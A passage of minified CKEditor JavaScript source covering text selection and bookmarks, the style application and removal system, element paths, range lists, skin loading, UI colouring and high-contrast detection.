g.endOffset)}else throw z;}f.addRange(k)}}this.reset();this.root.fire("selectionchange")}}},fake:function(a){var b=this.root.editor;this.reset();m(b);var c=this._.cache,d=new CKEDITOR.dom.range(this.root);d.setStartBefore(a);d.setEndAfter(a);c.ranges=new CKEDITOR.dom.rangeList(d);c.selectedElement=c.startElement=a;c.type=CKEDITOR.SELECTION_ELEMENT;c.selectedText=c.nativeSel=null;this.isFake=1;this.rev=u++;b._.fakeSelection=this;this.root.fire("selectionchange")},isHidden:function(){var a=this.getCommonAncestor();
a&&a.type==CKEDITOR.NODE_TEXT&&(a=a.getParent());return!(!a||!a.data("cke-hidden-sel"))},createBookmarks:function(a){a=this.getRanges().createBookmarks(a);this.isFake&&(a.isFake=1);return a},createBookmarks2:function(a){a=this.getRanges().createBookmarks2(a);this.isFake&&(a.isFake=1);return a},selectBookmarks:function(a){for(var b=[],c=0;c<a.length;c++){var d=new CKEDITOR.dom.range(this.root);d.moveToBookmark(a[c]);b.push(d)}a.isFake?this.fake(b[0].getEnclosedNode()):this.selectRanges(b);return this},
getCommonAncestor:function(){var a=this.getRanges();return!a.length?null:a[0].startContainer.getCommonAncestor(a[a.length-1].endContainer)},scrollIntoView:function(){this.type!=CKEDITOR.SELECTION_NONE&&this.getRanges()[0].scrollIntoView()},removeAllRanges:function(){if(this.getType()!=CKEDITOR.SELECTION_NONE){var a=this.getNative();try{a&&a[A?"empty":"removeAllRanges"]()}catch(b){}this.reset()}}}})();"use strict";CKEDITOR.STYLE_BLOCK=1;CKEDITOR.STYLE_INLINE=2;CKEDITOR.STYLE_OBJECT=3;
(function(){function a(a,b){for(var c,d;a=a.getParent();){if(a.equals(b))break;if(a.getAttribute("data-nostyle"))c=a;else if(!d){var e=a.getAttribute("contentEditable");e=="false"?c=a:e=="true"&&(d=1)}}return c}function f(b){var d=b.document;if(b.collapsed){d=i(this,d);b.insertNode(d);b.moveToPosition(d,CKEDITOR.POSITION_BEFORE_END)}else{var e=this.element,g=this._.definition,h,j=g.ignoreReadonly,m=j||g.includeReadonly;m==null&&(m=b.root.getCustomData("cke_includeReadonly"));var k=CKEDITOR.dtd[e];
if(!k){h=true;k=CKEDITOR.dtd.span}b.enlarge(CKEDITOR.ENLARGE_INLINE,1);b.trim();var l=b.createBookmark(),q=l.startNode,o=l.endNode,n=q,p;if(!j){var s=b.getCommonAncestor(),j=a(q,s),s=a(o,s);j&&(n=j.getNextSourceNode(true));s&&(o=s)}for(n.getPosition(o)==CKEDITOR.POSITION_FOLLOWING&&(n=0);n;){j=false;if(n.equals(o)){n=null;j=true}else{var r=n.type==CKEDITOR.NODE_ELEMENT?n.getName():null,s=r&&n.getAttribute("contentEditable")=="false",t=r&&n.getAttribute("data-nostyle");if(r&&n.data("cke-bookmark")){n=
n.getNextSourceNode(true);continue}if(s&&m&&CKEDITOR.dtd.$block[r])for(var y=n,u=c(y),A=void 0,C=u.length,F=0,y=C&&new CKEDITOR.dom.range(y.getDocument());F<C;++F){var A=u[F],P=CKEDITOR.filter.instances[A.data("cke-filter")];if(P?P.check(this):1){y.selectNodeContents(A);f.call(this,y)}}u=r?!k[r]||t?0:s&&!m?0:(n.getPosition(o)|K)==K&&(!g.childRule||g.childRule(n)):1;if(u)if((u=n.getParent())&&((u.getDtd()||CKEDITOR.dtd.span)[e]||h)&&(!g.parentRule||g.parentRule(u))){if(!p&&(!r||!CKEDITOR.dtd.$removeEmpty[r]||
(n.getPosition(o)|K)==K)){p=b.clone();p.setStartBefore(n)}r=n.type;if(r==CKEDITOR.NODE_TEXT||s||r==CKEDITOR.NODE_ELEMENT&&!n.getChildCount()){for(var r=n,U;(j=!r.getNext(L))&&(U=r.getParent(),k[U.getName()])&&(U.getPosition(q)|I)==I&&(!g.childRule||g.childRule(U));)r=U;p.setEndAfter(r)}}else j=true;else j=true;n=n.getNextSourceNode(t||s)}if(j&&p&&!p.collapsed){for(var j=i(this,d),s=j.hasAttributes(),t=p.getCommonAncestor(),r={},u={},A={},C={},N,R,X;j&&t;){if(t.getName()==e){for(N in g.attributes)if(!C[N]&&
(X=t.getAttribute(R)))j.getAttribute(N)==X?u[N]=1:C[N]=1;for(R in g.styles)if(!A[R]&&(X=t.getStyle(R)))j.getStyle(R)==X?r[R]=1:A[R]=1}t=t.getParent()}for(N in u)j.removeAttribute(N);for(R in r)j.removeStyle(R);s&&!j.hasAttributes()&&(j=null);if(j){p.extractContents().appendTo(j);p.insertNode(j);w.call(this,j);j.mergeSiblings();CKEDITOR.env.ie||j.$.normalize()}else{j=new CKEDITOR.dom.element("span");p.extractContents().appendTo(j);p.insertNode(j);w.call(this,j);j.remove(true)}p=null}}b.moveToBookmark(l);
b.shrink(CKEDITOR.SHRINK_TEXT);b.shrink(CKEDITOR.NODE_ELEMENT,true)}}function b(a){function b(){for(var a=new CKEDITOR.dom.elementPath(d.getParent()),c=new CKEDITOR.dom.elementPath(j.getParent()),e=null,f=null,g=0;g<a.elements.length;g++){var h=a.elements[g];if(h==a.block||h==a.blockLimit)break;m.checkElementRemovable(h,true)&&(e=h)}for(g=0;g<c.elements.length;g++){h=c.elements[g];if(h==c.block||h==c.blockLimit)break;m.checkElementRemovable(h,true)&&(f=h)}f&&j.breakParent(f);e&&d.breakParent(e)}a.enlarge(CKEDITOR.ENLARGE_INLINE,
1);var c=a.createBookmark(),d=c.startNode;if(a.collapsed){for(var e=new CKEDITOR.dom.elementPath(d.getParent(),a.root),f,g=0,h;g<e.elements.length&&(h=e.elements[g]);g++){if(h==e.block||h==e.blockLimit)break;if(this.checkElementRemovable(h)){var i;if(a.collapsed&&(a.checkBoundaryOfElement(h,CKEDITOR.END)||(i=a.checkBoundaryOfElement(h,CKEDITOR.START)))){f=h;f.match=i?"start":"end"}else{h.mergeSiblings();h.is(this.element)?s.call(this,h):q(h,o(this)[h.getName()])}}}if(f){h=d;for(g=0;;g++){i=e.elements[g];
if(i.equals(f))break;else if(i.match)continue;else i=i.clone();i.append(h);h=i}h[f.match=="start"?"insertBefore":"insertAfter"](f)}}else{var j=c.endNode,m=this;b();for(e=d;!e.equals(j);){f=e.getNextSourceNode();if(e.type==CKEDITOR.NODE_ELEMENT&&this.checkElementRemovable(e)){e.getName()==this.element?s.call(this,e):q(e,o(this)[e.getName()]);if(f.type==CKEDITOR.NODE_ELEMENT&&f.contains(d)){b();f=d.getNext()}}e=f}}a.moveToBookmark(c);a.shrink(CKEDITOR.NODE_ELEMENT,true)}function c(a){var b=[];a.forEach(function(a){if(a.getAttribute("contenteditable")==
"true"){b.push(a);return false}},CKEDITOR.NODE_ELEMENT,true);return b}function e(a){var b=a.getEnclosedNode()||a.getCommonAncestor(false,true);(a=(new CKEDITOR.dom.elementPath(b,a.root)).contains(this.element,1))&&!a.isReadOnly()&&A(a,this)}function d(a){var b=a.getCommonAncestor(true,true);if(a=(new CKEDITOR.dom.elementPath(b,a.root)).contains(this.element,1)){var b=this._.definition,c=b.attributes;if(c)for(var d in c)a.removeAttribute(d,c[d]);if(b.styles)for(var e in b.styles)b.styles.hasOwnProperty(e)&&
a.removeStyle(e)}}function h(a){var b=a.createBookmark(true),c=a.createIterator();c.enforceRealBlocks=true;if(this._.enterMode)c.enlargeBr=this._.enterMode!=CKEDITOR.ENTER_BR;for(var d,e=a.document,f;d=c.getNextParagraph();)if(!d.isReadOnly()&&(c.activeFilter?c.activeFilter.check(this):1)){f=i(this,e,d);j(d,f)}a.moveToBookmark(b)}function k(a){var b=a.createBookmark(1),c=a.createIterator();c.enforceRealBlocks=true;c.enlargeBr=this._.enterMode!=CKEDITOR.ENTER_BR;for(var d,e;d=c.getNextParagraph();)if(this.checkElementRemovable(d))if(d.is("pre")){(e=
this._.enterMode==CKEDITOR.ENTER_BR?null:a.document.createElement(this._.enterMode==CKEDITOR.ENTER_P?"p":"div"))&&d.copyAttributes(e);j(d,e)}else s.call(this,d);a.moveToBookmark(b)}function j(a,b){var c=!b;if(c){b=a.getDocument().createElement("div");a.copyAttributes(b)}var d=b&&b.is("pre"),e=a.is("pre"),f=!d&&e;if(d&&!e){e=b;(f=a.getBogus())&&f.remove();f=a.getHtml();f=m(f,/(?:^[ \t\n\r]+)|(?:[ \t\n\r]+$)/g,"");f=f.replace(/[ \t\r\n]*(<br[^>]*>)[ \t\r\n]*/gi,"$1");f=f.replace(/([ \t\n\r]+|&nbsp;)/g,
" ");f=f.replace(/<br\b[^>]*>/gi,"\n");if(CKEDITOR.env.ie){var h=a.getDocument().createElement("div");h.append(e);e.$.outerHTML="<pre>"+f+"</pre>";e.copyAttributes(h.getFirst());e=h.getFirst().remove()}else e.setHtml(f);b=e}else f?b=y(c?[a.getHtml()]:g(a),b):a.moveChildren(b);b.replace(a);if(d){var c=b,i;if((i=c.getPrevious(F))&&i.type==CKEDITOR.NODE_ELEMENT&&i.is("pre")){d=m(i.getHtml(),/\n$/,"")+"\n\n"+m(c.getHtml(),/^\n/,"");CKEDITOR.env.ie?c.$.outerHTML="<pre>"+d+"</pre>":c.setHtml(d);i.remove()}}else c&&
t(b)}function g(a){var b=[];m(a.getOuterHtml(),/(\S\s*)\n(?:\s|(<span[^>]+data-cke-bookmark.*?\/span>))*\n(?!$)/gi,function(a,b,c){return b+"</pre>"+c+"<pre>"}).replace(/<pre\b.*?>([\s\S]*?)<\/pre>/gi,function(a,c){b.push(c)});return b}function m(a,b,c){var d="",e="",a=a.replace(/(^<span[^>]+data-cke-bookmark.*?\/span>)|(<span[^>]+data-cke-bookmark.*?\/span>$)/gi,function(a,b,c){b&&(d=b);c&&(e=c);return""});return d+a.replace(b,c)+e}function y(a,b){var c;a.length>1&&(c=new CKEDITOR.dom.documentFragment(b.getDocument()));
for(var d=0;d<a.length;d++){var e=a[d],e=e.replace(/(\r\n|\r)/g,"\n"),e=m(e,/^[ \t]*\n/,""),e=m(e,/\n$/,""),e=m(e,/^[ \t]+|[ \t]+$/g,function(a,b){return a.length==1?"&nbsp;":b?" "+CKEDITOR.tools.repeat("&nbsp;",a.length-1):CKEDITOR.tools.repeat("&nbsp;",a.length-1)+" "}),e=e.replace(/\n/g,"<br>"),e=e.replace(/[ \t]{2,}/g,function(a){return CKEDITOR.tools.repeat("&nbsp;",a.length-1)+" "});if(c){var f=b.clone();f.setHtml(e);c.append(f)}else b.setHtml(e)}return c||b}function s(a,b){var c=this._.definition,
d=c.attributes,c=c.styles,e=o(this)[a.getName()],f=CKEDITOR.tools.isEmpty(d)&&CKEDITOR.tools.isEmpty(c),g;for(g in d)if(!((g=="class"||this._.definition.fullMatch)&&a.getAttribute(g)!=l(g,d[g]))&&!(b&&g.slice(0,5)=="data-")){f=a.hasAttribute(g);a.removeAttribute(g)}for(var h in c)if(!(this._.definition.fullMatch&&a.getStyle(h)!=l(h,c[h],true))){f=f||!!a.getStyle(h);a.removeStyle(h)}q(a,e,r[a.getName()]);f&&(this._.definition.alwaysRemoveElement?t(a,1):!CKEDITOR.dtd.$block[a.getName()]||this._.enterMode==
CKEDITOR.ENTER_BR&&!a.hasAttributes()?t(a):a.renameNode(this._.enterMode==CKEDITOR.ENTER_P?"p":"div"))}function w(a){for(var b=o(this),c=a.getElementsByTag(this.element),d,e=c.count();--e>=0;){d=c.getItem(e);d.isReadOnly()||s.call(this,d,true)}for(var f in b)if(f!=this.element){c=a.getElementsByTag(f);for(e=c.count()-1;e>=0;e--){d=c.getItem(e);d.isReadOnly()||q(d,b[f])}}}function q(a,b,c){if(b=b&&b.attributes)for(var d=0;d<b.length;d++){var e=b[d][0],f;if(f=a.getAttribute(e)){var g=b[d][1];(g===null||
g.test&&g.test(f)||typeof g=="string"&&f==g)&&a.removeAttribute(e)}}c||t(a)}function t(a,b){if(!a.hasAttributes()||b)if(CKEDITOR.dtd.$block[a.getName()]){var c=a.getPrevious(F),d=a.getNext(F);c&&(c.type==CKEDITOR.NODE_TEXT||!c.isBlockBoundary({br:1}))&&a.append("br",1);d&&(d.type==CKEDITOR.NODE_TEXT||!d.isBlockBoundary({br:1}))&&a.append("br");a.remove(true)}else{c=a.getFirst();d=a.getLast();a.remove(true);if(c){c.type==CKEDITOR.NODE_ELEMENT&&c.mergeSiblings();d&&(!c.equals(d)&&d.type==CKEDITOR.NODE_ELEMENT)&&
d.mergeSiblings()}}}function i(a,b,c){var d;d=a.element;d=="*"&&(d="span");d=new CKEDITOR.dom.element(d,b);c&&c.copyAttributes(d);d=A(d,a);b.getCustomData("doc_processing_style")&&d.hasAttribute("id")?d.removeAttribute("id"):b.setCustomData("doc_processing_style",1);return d}function A(a,b){var c=b._.definition,d=c.attributes,c=CKEDITOR.style.getStyleText(c);if(d)for(var e in d)a.setAttribute(e,d[e]);c&&a.setAttribute("style",c);return a}function u(a,b){for(var c in a)a[c]=a[c].replace(C,function(a,
c){return b[c]})}function o(a){if(a._.overrides)return a._.overrides;var b=a._.overrides={},c=a._.definition.overrides;if(c){CKEDITOR.tools.isArray(c)||(c=[c]);for(var d=0;d<c.length;d++){var e=c[d],f,g;if(typeof e=="string")f=e.toLowerCase();else{f=e.element?e.element.toLowerCase():a.element;g=e.attributes}e=b[f]||(b[f]={});if(g){var e=e.attributes=e.attributes||[],h;for(h in g)e.push([h.toLowerCase(),g[h]])}}}return b}function l(a,b,c){var d=new CKEDITOR.dom.element("span");d[c?"setStyle":"setAttribute"](a,
b);return d[c?"getStyle":"getAttribute"](a)}function p(a,b,c){for(var d=a.document,e=a.getRanges(),b=b?this.removeFromRange:this.applyToRange,f,g=e.createIterator();f=g.getNextRange();)b.call(this,f,c);a.selectRanges(e);d.removeCustomData("doc_processing_style")}var r={address:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,p:1,pre:1,section:1,header:1,footer:1,nav:1,article:1,aside:1,figure:1,dialog:1,hgroup:1,time:1,meter:1,menu:1,command:1,keygen:1,output:1,progress:1,details:1,datagrid:1,datalist:1},n=
{a:1,blockquote:1,embed:1,hr:1,img:1,li:1,object:1,ol:1,table:1,td:1,tr:1,th:1,ul:1,dl:1,dt:1,dd:1,form:1,audio:1,video:1},P=/\s*(?:;\s*|$)/,C=/#\((.+?)\)/g,L=CKEDITOR.dom.walker.bookmark(0,1),F=CKEDITOR.dom.walker.whitespaces(1);CKEDITOR.style=function(a,b){if(typeof a.type=="string")return new CKEDITOR.style.customHandlers[a.type](a);var c=a.attributes;if(c&&c.style){a.styles=CKEDITOR.tools.extend({},a.styles,CKEDITOR.tools.parseCssText(c.style));delete c.style}if(b){a=CKEDITOR.tools.clone(a);u(a.attributes,
b);u(a.styles,b)}c=this.element=a.element?typeof a.element=="string"?a.element.toLowerCase():a.element:"*";this.type=a.type||(r[c]?CKEDITOR.STYLE_BLOCK:n[c]?CKEDITOR.STYLE_OBJECT:CKEDITOR.STYLE_INLINE);if(typeof this.element=="object")this.type=CKEDITOR.STYLE_OBJECT;this._={definition:a}};CKEDITOR.style.prototype={apply:function(a){if(a instanceof CKEDITOR.dom.document)return p.call(this,a.getSelection());if(this.checkApplicable(a.elementPath(),a)){var b=this._.enterMode;if(!b)this._.enterMode=a.activeEnterMode;
p.call(this,a.getSelection(),0,a);this._.enterMode=b}},remove:function(a){if(a instanceof CKEDITOR.dom.document)return p.call(this,a.getSelection(),1);if(this.checkApplicable(a.elementPath(),a)){var b=this._.enterMode;if(!b)this._.enterMode=a.activeEnterMode;p.call(this,a.getSelection(),1,a);this._.enterMode=b}},applyToRange:function(a){this.applyToRange=this.type==CKEDITOR.STYLE_INLINE?f:this.type==CKEDITOR.STYLE_BLOCK?h:this.type==CKEDITOR.STYLE_OBJECT?e:null;return this.applyToRange(a)},removeFromRange:function(a){this.removeFromRange=
this.type==CKEDITOR.STYLE_INLINE?b:this.type==CKEDITOR.STYLE_BLOCK?k:this.type==CKEDITOR.STYLE_OBJECT?d:null;return this.removeFromRange(a)},applyToObject:function(a){A(a,this)},checkActive:function(a,b){switch(this.type){case CKEDITOR.STYLE_BLOCK:return this.checkElementRemovable(a.block||a.blockLimit,true,b);case CKEDITOR.STYLE_OBJECT:case CKEDITOR.STYLE_INLINE:for(var c=a.elements,d=0,e;d<c.length;d++){e=c[d];if(!(this.type==CKEDITOR.STYLE_INLINE&&(e==a.block||e==a.blockLimit))){if(this.type==
CKEDITOR.STYLE_OBJECT){var f=e.getName();if(!(typeof this.element=="string"?f==this.element:f in this.element))continue}if(this.checkElementRemovable(e,true,b))return true}}}return false},checkApplicable:function(a,b,c){b&&b instanceof CKEDITOR.filter&&(c=b);if(c&&!c.check(this))return false;switch(this.type){case CKEDITOR.STYLE_OBJECT:return!!a.contains(this.element);case CKEDITOR.STYLE_BLOCK:return!!a.blockLimit.getDtd()[this.element]}return true},checkElementMatch:function(a,b){var c=this._.definition;
if(!a||!c.ignoreReadonly&&a.isReadOnly())return false;var d=a.getName();if(typeof this.element=="string"?d==this.element:d in this.element){if(!b&&!a.hasAttributes())return true;if(d=c._AC)c=d;else{var d={},e=0,f=c.attributes;if(f)for(var g in f){e++;d[g]=f[g]}if(g=CKEDITOR.style.getStyleText(c)){d.style||e++;d.style=g}d._length=e;c=c._AC=d}if(c._length){for(var h in c)if(h!="_length"){e=a.getAttribute(h)||"";if(h=="style")a:{d=c[h];typeof d=="string"&&(d=CKEDITOR.tools.parseCssText(d));typeof e==
"string"&&(e=CKEDITOR.tools.parseCssText(e,true));g=void 0;for(g in d)if(!(g in e&&(e[g]==d[g]||d[g]=="inherit"||e[g]=="inherit"))){d=false;break a}d=true}else d=c[h]==e;if(d){if(!b)return true}else if(b)return false}if(b)return true}else return true}return false},checkElementRemovable:function(a,b,c){if(this.checkElementMatch(a,b,c))return true;if(b=o(this)[a.getName()]){var d;if(!(b=b.attributes))return true;for(c=0;c<b.length;c++){d=b[c][0];if(d=a.getAttribute(d)){var e=b[c][1];if(e===null)return true;
if(typeof e=="string"){if(d==e)return true}else if(e.test(d))return true}}}return false},buildPreview:function(a){var b=this._.definition,c=[],d=b.element;d=="bdo"&&(d="span");var c=["<",d],e=b.attributes;if(e)for(var f in e)c.push(" ",f,'="',e[f],'"');(e=CKEDITOR.style.getStyleText(b))&&c.push(' style="',e,'"');c.push(">",a||b.name,"</",d,">");return c.join("")},getDefinition:function(){return this._.definition}};CKEDITOR.style.getStyleText=function(a){var b=a._ST;if(b)return b;var b=a.styles,c=
a.attributes&&a.attributes.style||"",d="";c.length&&(c=c.replace(P,";"));for(var e in b){var f=b[e],g=(e+":"+f).replace(P,";");f=="inherit"?d=d+g:c=c+g}c.length&&(c=CKEDITOR.tools.normalizeCssText(c,true));return a._ST=c+d};CKEDITOR.style.customHandlers={};CKEDITOR.style.addCustomHandler=function(a){var b=function(a){this._={definition:a};this.setup&&this.setup(a)};b.prototype=CKEDITOR.tools.extend(CKEDITOR.tools.prototypedCopy(CKEDITOR.style.prototype),{assignedTo:CKEDITOR.STYLE_OBJECT},a,true);
return this.customHandlers[a.type]=b};var K=CKEDITOR.POSITION_PRECEDING|CKEDITOR.POSITION_IDENTICAL|CKEDITOR.POSITION_IS_CONTAINED,I=CKEDITOR.POSITION_FOLLOWING|CKEDITOR.POSITION_IDENTICAL|CKEDITOR.POSITION_IS_CONTAINED})();CKEDITOR.styleCommand=function(a,f){this.requiredContent=this.allowedContent=this.style=a;CKEDITOR.tools.extend(this,f,true)};
CKEDITOR.styleCommand.prototype.exec=function(a){a.focus();this.state==CKEDITOR.TRISTATE_OFF?a.applyStyle(this.style):this.state==CKEDITOR.TRISTATE_ON&&a.removeStyle(this.style)};CKEDITOR.stylesSet=new CKEDITOR.resourceManager("","stylesSet");CKEDITOR.addStylesSet=CKEDITOR.tools.bind(CKEDITOR.stylesSet.add,CKEDITOR.stylesSet);CKEDITOR.loadStylesSet=function(a,f,b){CKEDITOR.stylesSet.addExternal(a,f,"");CKEDITOR.stylesSet.load(a,b)};
CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{attachStyleStateChange:function(a,f){var b=this._.styleStateChangeCallbacks;if(!b){b=this._.styleStateChangeCallbacks=[];this.on("selectionChange",function(a){for(var e=0;e<b.length;e++){var d=b[e],f=d.style.checkActive(a.data.path,this)?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF;d.fn.call(this,f)}})}b.push({style:a,fn:f})},applyStyle:function(a){a.apply(this)},removeStyle:function(a){a.remove(this)},getStylesSet:function(a){if(this._.stylesDefinitions)a(this._.stylesDefinitions);
else{var f=this,b=f.config.stylesCombo_stylesSet||f.config.stylesSet;if(b===false)a(null);else if(b instanceof Array){f._.stylesDefinitions=b;a(b)}else{b||(b="default");var b=b.split(":"),c=b[0];CKEDITOR.stylesSet.addExternal(c,b[1]?b.slice(1).join(":"):CKEDITOR.getUrl("styles.js"),"");CKEDITOR.stylesSet.load(c,function(b){f._.stylesDefinitions=b[c];a(f._.stylesDefinitions)})}}}});
CKEDITOR.dom.comment=function(a,f){typeof a=="string"&&(a=(f?f.$:document).createComment(a));CKEDITOR.dom.domObject.call(this,a)};CKEDITOR.dom.comment.prototype=new CKEDITOR.dom.node;CKEDITOR.tools.extend(CKEDITOR.dom.comment.prototype,{type:CKEDITOR.NODE_COMMENT,getOuterHtml:function(){return"<\!--"+this.$.nodeValue+"--\>"}});"use strict";
(function(){var a={},f={},b;for(b in CKEDITOR.dtd.$blockLimit)b in CKEDITOR.dtd.$list||(a[b]=1);for(b in CKEDITOR.dtd.$block)b in CKEDITOR.dtd.$blockLimit||b in CKEDITOR.dtd.$empty||(f[b]=1);CKEDITOR.dom.elementPath=function(b,e){var d=null,h=null,k=[],j=b,g,e=e||b.getDocument().getBody();do if(j.type==CKEDITOR.NODE_ELEMENT){k.push(j);if(!this.lastElement){this.lastElement=j;if(j.is(CKEDITOR.dtd.$object)||j.getAttribute("contenteditable")=="false")continue}if(j.equals(e))break;if(!h){g=j.getName();
j.getAttribute("contenteditable")=="true"?h=j:!d&&f[g]&&(d=j);if(a[g]){var m;if(m=!d){if(g=g=="div"){a:{g=j.getChildren();m=0;for(var y=g.count();m<y;m++){var s=g.getItem(m);if(s.type==CKEDITOR.NODE_ELEMENT&&CKEDITOR.dtd.$block[s.getName()]){g=true;break a}}g=false}g=!g}m=g}m?d=j:h=j}}}while(j=j.getParent());h||(h=e);this.block=d;this.blockLimit=h;this.root=e;this.elements=k}})();
CKEDITOR.dom.elementPath.prototype={compare:function(a){var f=this.elements,a=a&&a.elements;if(!a||f.length!=a.length)return false;for(var b=0;b<f.length;b++)if(!f[b].equals(a[b]))return false;return true},contains:function(a,f,b){var c;typeof a=="string"&&(c=function(b){return b.getName()==a});a instanceof CKEDITOR.dom.element?c=function(b){return b.equals(a)}:CKEDITOR.tools.isArray(a)?c=function(b){return CKEDITOR.tools.indexOf(a,b.getName())>-1}:typeof a=="function"?c=a:typeof a=="object"&&(c=
function(b){return b.getName()in a});var e=this.elements,d=e.length;f&&d--;if(b){e=Array.prototype.slice.call(e,0);e.reverse()}for(f=0;f<d;f++)if(c(e[f]))return e[f];return null},isContextFor:function(a){var f;if(a in CKEDITOR.dtd.$block){f=this.contains(CKEDITOR.dtd.$intermediate)||this.root.equals(this.block)&&this.block||this.blockLimit;return!!f.getDtd()[a]}return true},direction:function(){return(this.block||this.blockLimit||this.root).getDirection(1)}};
CKEDITOR.dom.text=function(a,f){typeof a=="string"&&(a=(f?f.$:document).createTextNode(a));this.$=a};CKEDITOR.dom.text.prototype=new CKEDITOR.dom.node;
CKEDITOR.tools.extend(CKEDITOR.dom.text.prototype,{type:CKEDITOR.NODE_TEXT,getLength:function(){return this.$.nodeValue.length},getText:function(){return this.$.nodeValue},setText:function(a){this.$.nodeValue=a},split:function(a){var f=this.$.parentNode,b=f.childNodes.length,c=this.getLength(),e=this.getDocument(),d=new CKEDITOR.dom.text(this.$.splitText(a),e);if(f.childNodes.length==b)if(a>=c){d=e.createText("");d.insertAfter(this)}else{a=e.createText("");a.insertAfter(d);a.remove()}return d},substring:function(a,
f){return typeof f!="number"?this.$.nodeValue.substr(a):this.$.nodeValue.substring(a,f)}});
(function(){function a(a,c,e){var d=a.serializable,f=c[e?"endContainer":"startContainer"],k=e?"endOffset":"startOffset",j=d?c.document.getById(a.startNode):a.startNode,a=d?c.document.getById(a.endNode):a.endNode;if(f.equals(j.getPrevious())){c.startOffset=c.startOffset-f.getLength()-a.getPrevious().getLength();f=a.getNext()}else if(f.equals(a.getPrevious())){c.startOffset=c.startOffset-f.getLength();f=a.getNext()}f.equals(j.getParent())&&c[k]++;f.equals(a.getParent())&&c[k]++;c[e?"endContainer":"startContainer"]=
f;return c}CKEDITOR.dom.rangeList=function(a){if(a instanceof CKEDITOR.dom.rangeList)return a;a?a instanceof CKEDITOR.dom.range&&(a=[a]):a=[];return CKEDITOR.tools.extend(a,f)};var f={createIterator:function(){var a=this,c=CKEDITOR.dom.walker.bookmark(),e=[],d;return{getNextRange:function(f){d=d===void 0?0:d+1;var k=a[d];if(k&&a.length>1){if(!d)for(var j=a.length-1;j>=0;j--)e.unshift(a[j].createBookmark(true));if(f)for(var g=0;a[d+g+1];){for(var m=k.document,f=0,j=m.getById(e[g].endNode),m=m.getById(e[g+
1].startNode);;){j=j.getNextSourceNode(false);if(m.equals(j))f=1;else if(c(j)||j.type==CKEDITOR.NODE_ELEMENT&&j.isBlockBoundary())continue;break}if(!f)break;g++}for(k.moveToBookmark(e.shift());g--;){j=a[++d];j.moveToBookmark(e.shift());k.setEnd(j.endContainer,j.endOffset)}}return k}}},createBookmarks:function(b){for(var c=[],e,d=0;d<this.length;d++){c.push(e=this[d].createBookmark(b,true));for(var f=d+1;f<this.length;f++){this[f]=a(e,this[f]);this[f]=a(e,this[f],true)}}return c},createBookmarks2:function(a){for(var c=
[],e=0;e<this.length;e++)c.push(this[e].createBookmark2(a));return c},moveToBookmarks:function(a){for(var c=0;c<this.length;c++)this[c].moveToBookmark(a[c])}}})();
(function(){function a(){return CKEDITOR.getUrl(CKEDITOR.skinName.split(",")[1]||"skins/"+CKEDITOR.skinName.split(",")[0]+"/")}function f(b){var c=CKEDITOR.skin["ua_"+b],d=CKEDITOR.env;if(c)for(var c=c.split(",").sort(function(a,b){return a>b?-1:1}),e=0,f;e<c.length;e++){f=c[e];if(d.ie&&(f.replace(/^ie/,"")==d.version||d.quirks&&f=="iequirks"))f="ie";if(d[f]){b=b+("_"+c[e]);break}}return CKEDITOR.getUrl(a()+b+".css")}function b(a,b){if(!d[a]){CKEDITOR.document.appendStyleSheet(f(a));d[a]=1}b&&b()}
function c(a){var b=a.getById(h);if(!b){b=a.getHead().append("style");b.setAttribute("id",h);b.setAttribute("type","text/css")}return b}function e(a,b,c){var d,e,f;if(CKEDITOR.env.webkit){b=b.split("}").slice(0,-1);for(e=0;e<b.length;e++)b[e]=b[e].split("{")}for(var h=0;h<a.length;h++)if(CKEDITOR.env.webkit)for(e=0;e<b.length;e++){f=b[e][1];for(d=0;d<c.length;d++)f=f.replace(c[d][0],c[d][1]);a[h].$.sheet.addRule(b[e][0],f)}else{f=b;for(d=0;d<c.length;d++)f=f.replace(c[d][0],c[d][1]);CKEDITOR.env.ie&&
CKEDITOR.env.version<11?a[h].$.styleSheet.cssText=a[h].$.styleSheet.cssText+f:a[h].$.innerHTML=a[h].$.innerHTML+f}}var d={};CKEDITOR.skin={path:a,loadPart:function(c,d){CKEDITOR.skin.name!=CKEDITOR.skinName.split(",")[0]?CKEDITOR.scriptLoader.load(CKEDITOR.getUrl(a()+"skin.js"),function(){b(c,d)}):b(c,d)},getPath:function(a){return CKEDITOR.getUrl(f(a))},icons:{},addIcon:function(a,b,c,d){a=a.toLowerCase();this.icons[a]||(this.icons[a]={path:b,offset:c||0,bgsize:d||"16px"})},getIconStyle:function(a,
b,c,d,e){var f;if(a){a=a.toLowerCase();b&&(f=this.icons[a+"-rtl"]);f||(f=this.icons[a])}a=c||f&&f.path||"";d=d||f&&f.offset;e=e||f&&f.bgsize||"16px";return a&&"background-image:url("+CKEDITOR.getUrl(a)+");background-position:0 "+d+"px;background-size:"+e+";"}};CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{getUiColor:function(){return this.uiColor},setUiColor:function(a){var b=c(CKEDITOR.document);return(this.setUiColor=function(a){this.uiColor=a;var c=CKEDITOR.skin.chameleon,d="",f="";if(typeof c==
"function"){d=c(this,"editor");f=c(this,"panel")}a=[[j,a]];e([b],d,a);e(k,f,a)}).call(this,a)}});var h="cke_ui_color",k=[],j=/\$color/g;CKEDITOR.on("instanceLoaded",function(a){if(!CKEDITOR.env.ie||!CKEDITOR.env.quirks){var b=a.editor,a=function(a){a=(a.data[0]||a.data).element.getElementsByTag("iframe").getItem(0).getFrameDocument();if(!a.getById("cke_ui_color")){a=c(a);k.push(a);var d=b.getUiColor();d&&e([a],CKEDITOR.skin.chameleon(b,"panel"),[[j,d]])}};b.on("panelShow",a);b.on("menuShow",a);b.config.uiColor&&
b.setUiColor(b.config.uiColor)}})})();
(function(){if(CKEDITOR.env.webkit)CKEDITOR.env.hc=false;else{var a=CKEDITOR.dom.element.createFromHtml('<div style="width:0;height:0;position:absolute;left:-10000px;border:1px solid;border-color:red blue"></div>',CKEDITOR.document);a.appendTo(CKEDITOR.document.getHead());try{var f=a.getComputedStyle("border-top-color"),b=a.getComputedStyle("border-right-color");CKEDITOR.env.hc=!!(f&&f==b)}catch(c){CKEDITOR.env.hc=false}a.remove()}if(CKEDITOR.env.hc)CKEDITOR.env.cssClass=CKEDITOR.env.cssClass+" cke_hc";
